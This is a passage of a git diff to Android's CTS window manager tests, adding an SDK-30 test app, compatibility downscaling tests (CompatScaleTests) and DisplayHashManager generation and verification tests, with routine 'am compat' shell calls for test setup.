-        runCommandWithOutput("pm remove-user " + userHandle.getIdentifier());
-    }
-
-    private String runCommandWithOutput(String command) {
-        ParcelFileDescriptor p =  mUiAutomation.executeShellCommand(command);
-
-        InputStream inputStream = new FileInputStream(p.getFileDescriptor());
-
-        try (Scanner scanner = new Scanner(inputStream, UTF_8.name())) {
-            return scanner.useDelimiter("\\A").next();
-        } catch (NoSuchElementException e) {
-            return "";
-        }
-    }
 }
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index 4a59813..08f2f73 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -435,6 +435,9 @@
 
         <activity android:name="android.server.wm.WindowUntrustedTouchTest$TestActivity"
                   android:exported="true"/>
+
+        <activity android:name="android.server.wm.DisplayHashManagerTest$TestActivity"
+                   android:exported="true"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index 2651f7d..b38c81f 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -28,6 +28,7 @@
         <option name="test-file-name" value="CtsAlertWindowService.apk"/>
         <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
         <option name="test-file-name" value="CtsDeviceServicesTestApp27.apk" />
+        <option name="test-file-name" value="CtsDeviceServicesTestApp30.apk" />
         <option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
         <option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
         <option name="test-file-name" value="CtsDeviceDeprecatedSdkApp.apk" />
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 3a9d550..0acd38d 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -32,6 +32,10 @@
              android:resizeableActivity="true"
              android:supportsPictureInPicture="true"
              android:exported="true"/>
+        <activity android:name=".UiScalingTestActivity"
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:exported="true"/>
         <activity android:name=".TestActivityWithSameAffinity"
              android:resizeableActivity="true"
              android:supportsPictureInPicture="true"
diff --git a/tests/framework/base/windowmanager/app/res/layout/simple_ui_elements.xml b/tests/framework/base/windowmanager/app/res/layout/simple_ui_elements.xml
new file mode 100644
index 0000000..b5c5c71
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/layout/simple_ui_elements.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:padding="8dp">
+
+    <TextView
+        android:id="@+id/text"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Hello world!" />
+
+    <View
+        android:id="@+id/square_100dp"
+        android:layout_width="100dp"
+        android:layout_height="100dp"
+        android:layout_below="@+id/text"
+        android:layout_marginTop="8dp"
+        android:background="#ffc53929" />
+
+    <View
+        android:id="@+id/square_100px"
+        android:layout_width="100px"
+        android:layout_height="100px"
+        android:layout_alignTop="@+id/square_100dp"
+        android:layout_marginLeft="8dp"
+        android:layout_toRightOf="@+id/square_100dp"
+        android:background="#ff3367d6" />
+
+</RelativeLayout>
+
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index ce51a71..67a278c 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -121,6 +121,8 @@
             component("SingleInstanceActivity");
     public static final ComponentName HOME_ACTIVITY = component("HomeActivity");
     public static final ComponentName SECONDARY_HOME_ACTIVITY = component("SecondaryHomeActivity");
+    public static final ComponentName UI_SCALING_TEST_ACTIVITY =
+            component("UiScalingTestActivity");
     public static final ComponentName SINGLE_HOME_ACTIVITY = component("SingleHomeActivity");
     public static final ComponentName SINGLE_SECONDARY_HOME_ACTIVITY =
             component("SingleSecondaryHomeActivity");
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/UiScalingTestActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/UiScalingTestActivity.java
new file mode 100644
index 0000000..abcfb10
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/UiScalingTestActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import android.os.Bundle;
+
+public class UiScalingTestActivity extends TestActivity {
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        setContentView(R.layout.simple_ui_elements);
+    }
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp b/tests/framework/base/windowmanager/app30/Android.bp
similarity index 64%
copy from hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp
copy to tests/framework/base/windowmanager/app30/Android.bp
index 72e5fef..bae3601 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp
+++ b/tests/framework/base/windowmanager/app30/Android.bp
@@ -4,7 +4,7 @@
 // you may not use this file except in compliance with the License.
 // You may obtain a copy of the License at
 //
-//     http://www.apache.org/licenses/LICENSE-2.0
+//      http://www.apache.org/licenses/LICENSE-2.0
 //
 // Unless required by applicable law or agreed to in writing, software
 // distributed under the License is distributed on an "AS IS" BASIS,
@@ -12,20 +12,18 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-java_test_host {
-    name: "CtsInstalledLoadingProgressHostTests",
-    defaults: ["cts_defaults"],
-    srcs:  ["src/**/*.java"],
-    libs: [
-        "cts-tradefed",
-        "tradefed",
-        "compatibility-host-util",
-        "cts-host-utils",
-    ],
-    static_libs: ["cts-install-lib-host"],
+android_test {
+    name: "CtsDeviceServicesTestApp30",
+    defaults: ["cts_support_defaults"],
+
+    static_libs: ["cts-wm-app-base"],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "30",
+
     test_suites: [
         "cts",
         "general-tests",
     ],
 }
-
diff --git a/tests/framework/base/windowmanager/app30/AndroidManifest.xml b/tests/framework/base/windowmanager/app30/AndroidManifest.xml
new file mode 100755
index 0000000..0a8eee1
--- /dev/null
+++ b/tests/framework/base/windowmanager/app30/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.server.wm.app30">
+
+    <application android:label="App30"
+                 android:debuggable="true">
+
+        <activity android:name="android.server.wm.app.TestActivity"
+                  android:exported="true"
+        />
+
+    </application>
+</manifest>
diff --git a/tests/framework/base/windowmanager/app30/src/android/server/wm/app30/Components.java b/tests/framework/base/windowmanager/app30/src/android/server/wm/app30/Components.java
new file mode 100644
index 0000000..e1cc50f
--- /dev/null
+++ b/tests/framework/base/windowmanager/app30/src/android/server/wm/app30/Components.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app30;
+
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+
+import android.content.ComponentName;
+import android.server.wm.component.ComponentsBase;
+
+public class Components extends ComponentsBase {
+
+    public static final ComponentName SDK_30_TEST_ACTIVITY =
+            component(Components.class, TEST_ACTIVITY.getClassName());
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatScaleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatScaleTests.java
new file mode 100644
index 0000000..dce47ab
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatScaleTests.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.UI_SCALING_TEST_ACTIVITY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ComponentName;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+
+/**
+ * The test is focused on compatibility scaling, and tests the feature form two sides.
+ * 1. It checks that the applications "sees" the metrics in PXs, but the DP metrics remain the same.
+ * 2. It checks the WindowManagerServer state, and makes sure that the scaling is correctly
+ * reflected in the WindowState.
+ *
+ * This is achieved by launching a {@link android.server.wm.app.UiScalingTestActivity} and having it
+ * reporting the metrics it receives.
+ * The Activity also draws 3 UI elements: a text, a red square with a 100dp side and a blue square
+ * with a 100px side.
+ * The text and the red square should have the same when rendered on the screen (by HWC) both when
+ * the compat downscaling is enabled and disabled.
+ * TODO(b/180098454): Add tests to make sure that the UI elements, which have their sizes declared
+ * in DPs (the text and the red square) have the same sizes on the screen (after composition).
+ *
+ * <p>Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:CompatScaleTests
+ */
+@RunWith(Parameterized.class)
+public class CompatScaleTests extends ActivityManagerTestBase {
+
+    @Parameterized.Parameters(name = "{0}")
+    public static Iterable<Object[]> data() {
+        return Arrays.asList(new Object[][] {
+                { "DOWNSCALE_50", 0.5f },
+                { "DOWNSCALE_62_5", 0.625f },
+                { "DOWNSCALE_75", 0.75f },
+                { "DOWNSCALE_87_5", 0.875f },
+        });
+    }
+
+    private static final ComponentName ACTIVITY_UNDER_TEST = UI_SCALING_TEST_ACTIVITY;
+    private static final String PACKAGE_UNDER_TEST = ACTIVITY_UNDER_TEST.getPackageName();
+    private static final float EPSILON_GLOBAL_SCALE = 0.01f;
+
+    private final String mCompatChangeName;
+    private final float mCompatScale;
+    private final float mInvCompatScale;
+    private CommandSession.SizeInfo mAppSizesNormal;
+    private CommandSession.SizeInfo mAppSizesDownscaled;
+    private WindowManagerState.WindowState mWindowStateNormal;
+    private WindowManagerState.WindowState mWindowStateDownscaled;
+
+    public CompatScaleTests(String compatChangeName, float compatScale) {
+        mCompatChangeName = compatChangeName;
+        mCompatScale = compatScale;
+        mInvCompatScale = 1 / mCompatScale;
+    }
+
+    // TODO(b/180343437): replace @Before with @BeforeParam
+    @Before
+    public void launchInNormalAndDownscaleMode_collectSizesAndWindowState() {
+        // Launch activity with downscaling *disabled* and get the sizes it reports and its Window
+        // state.
+        launchActivity();
+        mAppSizesNormal = getActivityReportedSizes();
+        mWindowStateNormal = getActivityWindowState();
+
+        // Now launch the same activity with downscaling *enabled* and get the sizes it reports and
+        // its Window state.
+        enableDownscaling(mCompatChangeName);
+        launchActivity();
+        mAppSizesDownscaled = getActivityReportedSizes();
+        mWindowStateDownscaled = getActivityWindowState();
+    }
+
+    /**
+     * Tests that the Density DPI that the application receives from the
+     * {@link android.content.res.Configuration} is correctly scaled in the downscaled mode.
+     * @see android.content.res.Configuration#densityDpi
+     */
+    @Test
+    public void test_config_densityDpi_scalesCorrectly_inCompatDownscalingMode() {
+        assertScaled("Density DPI should scale by " + mCompatScale,
+                mAppSizesNormal.densityDpi, mCompatScale, mAppSizesDownscaled.densityDpi);
+    }
+
+    /**
+     * Tests that the screen sizes in DPs that the application receives from the
+     * {@link android.content.res.Configuration} are NOT scaled in the downscaled mode.
+     * @see android.content.res.Configuration#screenWidthDp
+     * @see android.content.res.Configuration#screenHeightDp
+     * @see android.content.res.Configuration#smallestScreenWidthDp
+     */
+    @Test
+    public void test_config_screenSize_inDPs_doesNotChange_inCompatDownscalingMode() {
+        assertEquals("Width shouldn't change",
+                mAppSizesNormal.widthDp, mAppSizesDownscaled.widthDp);
+        assertEquals("Height shouldn't change",
+                mAppSizesNormal.heightDp, mAppSizesDownscaled.heightDp);
+        assertEquals("Smallest Width shouldn't change",
+                mAppSizesNormal.smallestWidthDp, mAppSizesDownscaled.smallestWidthDp);
+    }
+
+    /**
+     * Tests that the Window sizes in PXs that the application receives from the
+     * {@link android.content.res.Configuration} are scaled correctly in the downscaled mode.
+     * @see android.content.res.Configuration#windowConfiguration
+     * @see android.app.WindowConfiguration#getBounds()
+     * @see android.app.WindowConfiguration#getAppBounds()
+     */
+    @Test
+    public void test_config_windowSizes_inPXs_scaleCorrectly_inCompatDownscalingMode() {
+        assertScaled("Width should scale by " + mCompatScale,
+                mAppSizesNormal.windowWidth, mCompatScale, mAppSizesDownscaled.windowWidth);
+        assertScaled("Height should scale by " + mCompatScale,
+                mAppSizesNormal.windowHeight, mCompatScale, mAppSizesDownscaled.windowHeight);
+        assertScaled("App width should scale by " + mCompatScale,
+                mAppSizesNormal.windowAppWidth, mCompatScale, mAppSizesDownscaled.windowAppWidth);
+        assertScaled("App height should scale by " + mCompatScale,
+                mAppSizesNormal.windowAppHeight, mCompatScale, mAppSizesDownscaled.windowAppHeight);
+    }
+
+    /**
+     * Tests that the {@link android.util.DisplayMetrics} in PXs that the application can obtain via
+     * {@link android.content.res.Resources#getDisplayMetrics()} are scaled correctly in the
+     * downscaled mode.
+     * @see android.util.DisplayMetrics#widthPixels
+     * @see android.util.DisplayMetrics#heightPixels
+     */
+    @Test
+    public void test_displayMetrics_inPXs_scaleCorrectly_inCompatDownscalingMode() {
+        assertScaled("Width should scale by " + mCompatScale,
+                mAppSizesNormal.metricsWidth, mCompatScale, mAppSizesDownscaled.metricsWidth);
+        assertScaled("Height should scale by " + mCompatScale,
+                mAppSizesNormal.metricsHeight, mCompatScale, mAppSizesDownscaled.metricsHeight);
+    }
+
+    /**
+     * Tests that the dimensions of a {@link android.view.Display} in PXs that the application can
+     * obtain via {@link android.view.View#getDisplay()} are scaled correctly in the downscaled
+     * mode.
+     * @see android.view.Display#getSize(android.graphics.Point)
+     */
+    @Test
+    public void test_displaySize_inPXs_scaleCorrectly_inCompatDownscalingMode() {
+        assertScaled("Width should scale by " + mCompatScale,
+                mAppSizesNormal.displayWidth, mCompatScale, mAppSizesDownscaled.displayWidth);
+        assertScaled("Height should scale by " + mCompatScale,
+                mAppSizesNormal.displayHeight, mCompatScale, mAppSizesDownscaled.displayHeight);
+    }
+
+    /**
+     * Test that compatibility downscaling is reflected correctly on the WM side.
+     * @see android.server.wm.WindowManagerState.WindowState
+     */
+    @Test
+    public void test_windowState_inCompatDownscalingMode() {
+        // Check the "normal" window's state for disabled compat mode and appropriate global scale.
+        assertFalse("The Window should not be in the size compat mode",
+                mWindowStateNormal.isInSizeCompatMode());
+        assertEquals("The window should not be scaled",
+                1f, mWindowStateNormal.getGlobalScale(), EPSILON_GLOBAL_SCALE);
+
+        // Check the "downscaled" window's state for enabled compat mode and appropriate global
+        // scale.
+        assertTrue("The Window should be in the size compat mode",
+                mWindowStateDownscaled.isInSizeCompatMode());
+        assertEquals("The window should have global scale of " + mInvCompatScale,
+                mInvCompatScale, mWindowStateDownscaled.getGlobalScale(), EPSILON_GLOBAL_SCALE);
+
+        // Make sure the frame sizes changed correctly.
+        assertEquals("Window frame on should not change",
+                mWindowStateNormal.getFrame(), mWindowStateDownscaled.getFrame());
+        assertScaled("Requested width should scale by " + mCompatScale,
+                mWindowStateNormal.getRequestedWidth(), mCompatScale,
+                mWindowStateDownscaled.getRequestedWidth());
+        assertScaled("Requested height should scale by " + mCompatScale,
+                mWindowStateNormal.getRequestedHeight(), mCompatScale,
+                mWindowStateDownscaled.getRequestedHeight());
+    }
+
+    @After
+    public void tearDown() {
+        disableDownscaling(mCompatChangeName);
+    }
+
+    private void launchActivity() {
+        launchActivityInNewTask(ACTIVITY_UNDER_TEST);
+        mWmState.computeState(new WaitForValidActivityState(ACTIVITY_UNDER_TEST));
+    }
+
+    private CommandSession.SizeInfo getActivityReportedSizes() {
+        final CommandSession.SizeInfo details =
+                getLastReportedSizesForActivity(ACTIVITY_UNDER_TEST);
+        assertNotNull(details);
+        return details;
+    }
+
+    private WindowManagerState.WindowState getActivityWindowState() {
+        final int TYPE_BASE_APPLICATION = 1; // from WindowManager.java
+        final WindowManagerState.WindowState window =
+                mWmState.getWindowByPackageName(PACKAGE_UNDER_TEST, TYPE_BASE_APPLICATION);
+        assertNotNull(window);
+        return window;
+    }
+
+    private static void enableDownscaling(String compatChangeName) {
+        executeShellCommand("am compat enable " + compatChangeName + " " + PACKAGE_UNDER_TEST);
+        executeShellCommand("am compat enable DOWNSCALED " + PACKAGE_UNDER_TEST);
+    }
+
+    private static void disableDownscaling(String compatChangeName) {
+        executeShellCommand("am compat disable DOWNSCALED " + PACKAGE_UNDER_TEST);
+        executeShellCommand("am compat disable " + compatChangeName + " " + PACKAGE_UNDER_TEST);
+    }
+
+    private static void assertScaled(String message, int baseValue, float expectedScale,
+            int actualValue) {
+        // In order to account for possible rounding errors, let's calculate the actual scale and
+        // compare it's against the expected scale (allowing a small delta).
+        final float actualScale = ((float) actualValue) / baseValue;
+        assertEquals(message, expectedScale, actualScale, EPSILON_GLOBAL_SCALE);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
new file mode 100644
index 0000000..ee709ca
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
@@ -0,0 +1,336 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS;
+import static android.view.displayhash.DisplayHashResultCallback.DISPLAY_HASH_ERROR_INVALID_BOUNDS;
+import static android.view.displayhash.DisplayHashResultCallback.DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.view.Gravity;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.displayhash.DisplayHash;
+import android.view.displayhash.DisplayHashManager;
+import android.view.displayhash.DisplayHashResultCallback;
+import android.view.displayhash.VerifiedDisplayHash;
+import android.widget.RelativeLayout;
+
+import androidx.annotation.NonNull;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+@Presubmit
+public class DisplayHashManagerTest {
+    private final Point mTestViewSize = new Point(200, 300);
+
+    private Instrumentation mInstrumentation;
+    private RelativeLayout mMainView;
+    private TestActivity mActivity;
+
+    private View mTestView;
+
+    private DisplayHashManager mDisplayHashManager;
+    private String mFirstHashAlgorithm;
+
+    private Executor mExecutor;
+
+    private SyncDisplayHashResultCallback mSyncDisplayHashResultCallback;
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        Context context = mInstrumentation.getContext();
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClass(context, TestActivity.class);
+        ActivityScenario<TestActivity> scenario = ActivityScenario.launch(intent);
+
+        scenario.onActivity(activity -> {
+            mActivity = activity;
+            mMainView = new RelativeLayout(activity);
+            activity.setContentView(mMainView);
+        });
+        mInstrumentation.waitForIdleSync();
+        mDisplayHashManager = context.getSystemService(DisplayHashManager.class);
+
+        Set<String> algorithms = mDisplayHashManager.getSupportedHashAlgorithms();
+        assertNotNull(algorithms);
+        assertNotEquals(0, algorithms.size());
+        mFirstHashAlgorithm = algorithms.iterator().next();
+        mExecutor = context.getMainExecutor();
+        mSyncDisplayHashResultCallback = new SyncDisplayHashResultCallback();
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        DisplayHash displayHash = generateDisplayHash(null);
+
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
+        assertEquals(mTestViewSize.x, verifiedDisplayHash.getBoundsInWindow().width());
+        assertEquals(mTestViewSize.y, verifiedDisplayHash.getBoundsInWindow().height());
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash_BoundsInView() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Rect bounds = new Rect(10, 20, mTestViewSize.x / 2, mTestViewSize.y / 2);
+        DisplayHash displayHash = generateDisplayHash(new Rect(bounds));
+
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
+        assertEquals(bounds.width(), verifiedDisplayHash.getBoundsInWindow().width());
+        assertEquals(bounds.height(), verifiedDisplayHash.getBoundsInWindow().height());
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash_EmptyBounds() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, new Rect(), mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_INVALID_BOUNDS, errorCode);
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash_BoundsBiggerThanView() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Rect bounds = new Rect(0, 0, mTestViewSize.x + 100, mTestViewSize.y + 100);
+
+        DisplayHash displayHash = generateDisplayHash(new Rect(bounds));
+
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
+        assertEquals(mTestViewSize.x, verifiedDisplayHash.getBoundsInWindow().width());
+        assertEquals(mTestViewSize.y, verifiedDisplayHash.getBoundsInWindow().height());
+    }
+
+    @Test
+    public void testGenerateDisplayHash_BoundsOutOfView() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Rect bounds = new Rect(mTestViewSize.x + 1, mTestViewSize.y + 1, mTestViewSize.x + 100,
+                mTestViewSize.y + 100);
+
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, new Rect(bounds),
+                mExecutor, mSyncDisplayHashResultCallback);
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN, errorCode);
+    }
+
+    @Test
+    public void testGenerateDisplayHash_ViewOffscreen() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mTestView.setX(-mTestViewSize.x);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, null, mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN, errorCode);
+    }
+
+    @Test
+    public void testGenerateDisplayHash_WindowOffscreen() {
+        final WindowManager wm = mActivity.getWindowManager();
+        final WindowManager.LayoutParams windowParams = new WindowManager.LayoutParams();
+
+        mInstrumentation.runOnMainSync(() -> {
+            mMainView = new RelativeLayout(mActivity);
+            windowParams.width = mTestViewSize.x;
+            windowParams.height = mTestViewSize.y;
+            windowParams.gravity = Gravity.LEFT | Gravity.TOP;
+            windowParams.flags = FLAG_LAYOUT_NO_LIMITS;
+            mActivity.addWindow(mMainView, windowParams);
+
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        generateDisplayHash(null);
+
+        mInstrumentation.runOnMainSync(() -> {
+            windowParams.x = -mTestViewSize.x;
+            wm.updateViewLayout(mMainView, windowParams);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        mSyncDisplayHashResultCallback.reset();
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, null, mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN, errorCode);
+    }
+
+    private DisplayHash generateDisplayHash(Rect bounds) {
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, bounds, mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        DisplayHash displayHash = mSyncDisplayHashResultCallback.getDisplayHash();
+        assertNotNull(displayHash);
+
+        return displayHash;
+    }
+
+    public static class TestActivity extends Activity {
+        private final ArrayList<View> mViews = new ArrayList<>();
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
